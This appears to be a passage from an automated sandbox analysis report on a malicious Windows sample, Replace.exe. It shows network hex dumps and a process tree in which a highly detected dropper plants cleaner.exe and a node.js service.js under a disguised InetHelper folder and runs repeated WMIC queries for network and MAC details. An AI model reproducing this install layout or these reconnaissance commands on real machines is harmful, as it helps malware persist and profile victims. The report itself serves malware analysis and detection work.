2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 35 dc a6 42 00 eb 76 39 35 dc a6 42 00 74 08 56 e8 39 39 00 00 eb 66 ff 15 7c 80 40 00 3b 05 50 02 47 00 76 58 39 35 48 02 47 00 74 2d f6 05 14 03 47 00 01 74 47 e8 87 ff ff ff 50 8d 45 80 68 80 a0 40 00 50 ff 15 90 82 40 00 83 c4 0c 8d 45 80 50 56 e8 48 25 00 00 eb 23 56 68 f3 2d 40 00 56 6a 6f ff 35 40 02 47 00 ff 15 88 82 40 00 6a 05 50 a3 dc a6 42 00 ff 15 68 82 40 00 5e c9 c3 55 8b ec 81 ec 2c 02 00 00 53 56 33 db 57 89 5d fc 89 5d f8 ff 15 7c 80 40 00 be 00 d0 4d 00 68 00 20 00 00 05 e8 03 00 00 56 53 a3 50 02 47 00 ff 15 88 80 40 00 6a 03 68 00 00 00 80 56 e8 6b 2f 00 00 8b f8 83 ff ff 89 3d 18 a0 40 00 75 0a b8 b8 a2 40 00 e9 45 02 00 00 56 be 00 d0 4c 00 56 e8 52 34 00 00 56 e8 6d 2d 00 00 50 68 00 10 4e 00 e8 41 34 00 00 53 57 ff 15 84 80 40 00 Data Ascii: 5Bv95BtV99f\|@;PGvX95HGt-GtGPEh@P@EPVH%#Vh-@Vjo5@G@jPBh@^U,SV3W]]\|@Mh VSPG@jhVk/=@u@EVLVR4Vm-PhNA4SW@
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 41 00 03 4c 24 14 85 c9 0f 8f 25 ff ff ff 53 53 50 ff 35 1c a0 40 00 ff 15 44 81 40 00 eb 0e 83 c8 ff eb 13 6a fe eb 02 6a fd 58 eb 0a 6a 01 e8 51 fa ff ff 59 33 c0 5f 5e 5d 5b c2 04 00 ff 74 24 08 ff 74 24 08 ff 35 18 a0 40 00 e8 07 2b 00 00 c2 08 00 6a 00 6a 00 ff 74 24 0c ff 35 18 a0 40 00 ff 15 44 81 40 00 c2 04 00 56 be 00 50 4d 00 56 e8 fc 31 00 00 56 e8 ae 28 00 00 85 c0 75 02 5e c3 56 e8 2b 28 00 00 56 e8 04 25 00 00 56 68 00 10 4d 00 e8 6a 2a 00 00 5e c3 81 ec d4 02 00 00 53 56 57 6a 20 5f 33 db 68 01 80 00 00 89 5c 24 14 c7 44 24 10 30 a2 40 00 89 5c 24 1c ff 15 ac 80 40 00 ff 15 a8 80 40 00 25 ff ff ff bf 66 3d 06 00 a3 4c 02 47 00 74 11 53 e8 d8 32 00 00 3b c3 74 07 68 00 0c 00 00 ff d0 be b0 82 40 00 56 e8 52 32 00 00 56 ff 15 50 81 40 00 8d Data Ascii: AL$%SSP5@D@jjXjQY3_^][t$t$5@+jjt$5@D@VPMV1V(u^V+(V%VhMj*^SVWj _3h\$D$0@\$@@%f=LGtS2;th@VR2VP@
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 10 80 40 00 85 c0 74 34 8d 44 24 20 50 68 ec a2 40 00 53 ff 15 14 80 40 00 53 53 8d 44 24 24 53 50 53 ff 74 24 28 c7 44 24 34 01 00 00 00 c7 44 24 40 02 00 00 00 ff 15 00 80 40 00 6a 04 e8 1d 2e 00 00 3b c3 be 02 00 04 80 74 0c 56 6a 25 53 53 53 ff d0 85 c0 74 0d 56 6a 02 ff 15 4c 82 40 00 85 c0 75 07 6a 09 e8 3d da ff ff a1 0c 03 47 00 83 f8 ff 74 04 89 44 24 10 ff 74 24 10 ff 15 70 80 40 00 a1 18 a0 40 00 56 8b 35 20 81 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 18 a0 40 00 ff a1 1c a0 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 1c a0 40 00 ff e8 29 00 00 00 6a 07 68 00 90 4d 00 e8 d4 20 00 00 5e c3 56 8b 35 ec 66 43 00 eb 0a ff 74 24 08 ff 56 04 8b 36 59 85 f6 75 f2 5e c2 04 00 56 8b 35 ec 66 43 00 6a 00 e8 d7 ff ff ff 85 f6 74 1a 57 8b fe 8b 36 ff 77 08 ff 15 68 81 Data Ascii: @t4D$ Ph@S@SSD$$SPSt$(D$4D$@@j.;tVj%SSStVjL@uj=GtD$t$p@@V5 @tP@@tP@)jhM ^V5fCt$V6Yu^V5fCjtW6wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49760	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:09:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kPRasndGkvlenHk&MD=zHV46mV7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-01 09:09:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: a6d27169-6025-4d16-8a97-472432c4cdb5 MS-RequestId: f8adda2f-0047-467e-afca-3c9c7180daf0 MS-CV: 5DYQ+1zv8UKY0n2P.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 01 May 2024 09:09:06 GMT Connection: close Content-Length: 25457
2024-05-01 09:09:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-01 09:09:07 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	11:08:03
Start date:	01/05/2024
Path:	C:\Users\user\Desktop\Replace.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Replace.exe"
Imagebase:	0xbb0000
File size:	36'540'866 bytes
MD5 hash:	FD5CD14325C51ECAB6A57D1D665F8852
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:08:03
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Imagebase:	0x7e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:08:07
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe
Wow64 process (32bit):	false
Commandline:	.\run.exe
Imagebase:	0x7ff75fb90000
File size:	36'542'497 bytes
MD5 hash:	D77C3EF3EFA7E38EF91137466EEE801B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 9%, ReversingLabs Detection: 7%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:08:08
Start date:	01/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:08:09
Start date:	01/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2272,i,3908760233601738939,4589788007160690134,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:08:16
Start date:	01/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Imagebase:	0x7ff6da410000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:08:16
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Imagebase:	0x7e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:08:25
Start date:	01/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Imagebase:	0x7ff6da410000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: rundll32.exePID: 8660, Parent PID: 8648

General

Target ID:	10
Start time:	11:08:26
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt
Imagebase:	0x7e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: wnsA071.tmpPID: 8912, Parent PID: 7608

General

Target ID:	13
Start time:	11:08:48
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Temp\wnsA071.tmp
Wow64 process (32bit):	true
Commandline:	wscsu.exe /S /VERPOSTFIX=bt
Imagebase:	0x400000
File size:	7'055'674 bytes
MD5 hash:	7A506A2E92BC66A9F64C2333A815E97A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 77%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:08:51
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Imagebase:	0xed0000
File size:	4'096 bytes
MD5 hash:	E9DED10DFF258F6522FE9079ED3319CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 73%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:08:51
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Imagebase:	0x400000
File size:	6'887'560 bytes
MD5 hash:	5F40521D2E1082FE1C734610C4A83911
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	11:08:52
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:08:52
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:08:56
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:08:56
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:08:57
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp
Wow64 process (32bit):	true
Commandline:	wscsu.exe /S /VERPOSTFIX=bt
Imagebase:	0x400000
File size:	7'055'674 bytes
MD5 hash:	7A506A2E92BC66A9F64C2333A815E97A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 77%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:08:57
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P
Imagebase:	0xed0000
File size:	4'096 bytes
MD5 hash:	E9DED10DFF258F6522FE9079ED3319CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:09:00
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Imagebase:	0x570000
File size:	4'096 bytes
MD5 hash:	E9DED10DFF258F6522FE9079ED3319CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:09:00
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Imagebase:	0x400000
File size:	6'887'560 bytes
MD5 hash:	5F40521D2E1082FE1C734610C4A83911
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:09:01
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:09:04
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp
Wow64 process (32bit):	true
Commandline:	wscsu.exe /S /VERPOSTFIX=bt
Imagebase:	0x400000
File size:	7'055'674 bytes
MD5 hash:	7A506A2E92BC66A9F64C2333A815E97A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 77%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:09:04
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Imagebase:	0x570000
File size:	4'096 bytes
MD5 hash:	E9DED10DFF258F6522FE9079ED3319CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:09:04
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Imagebase:	0x400000
File size:	6'887'560 bytes
MD5 hash:	5F40521D2E1082FE1C734610C4A83911
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:09:04
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P
Imagebase:	0x570000
File size:	4'096 bytes
MD5 hash:	E9DED10DFF258F6522FE9079ED3319CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:09:05
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
Imagebase:	0xfe0000
File size:	4'096 bytes
MD5 hash:	E9DED10DFF258F6522FE9079ED3319CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:09:05
Start date:	01/05/2024
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js"
Imagebase:	0x400000
File size:	6'887'560 bytes
MD5 hash:	5F40521D2E1082FE1C734610C4A83911
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:09:07
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:09:08
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:09:08
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:09:08
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:09:10
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:09:10
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:09:22
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:09:23
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:09:24
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:09:24
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:09:38
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:09:38
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:09:40
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:09:40
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:09:53
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Imagebase:	0xc40000
File size:	427'008 bytes
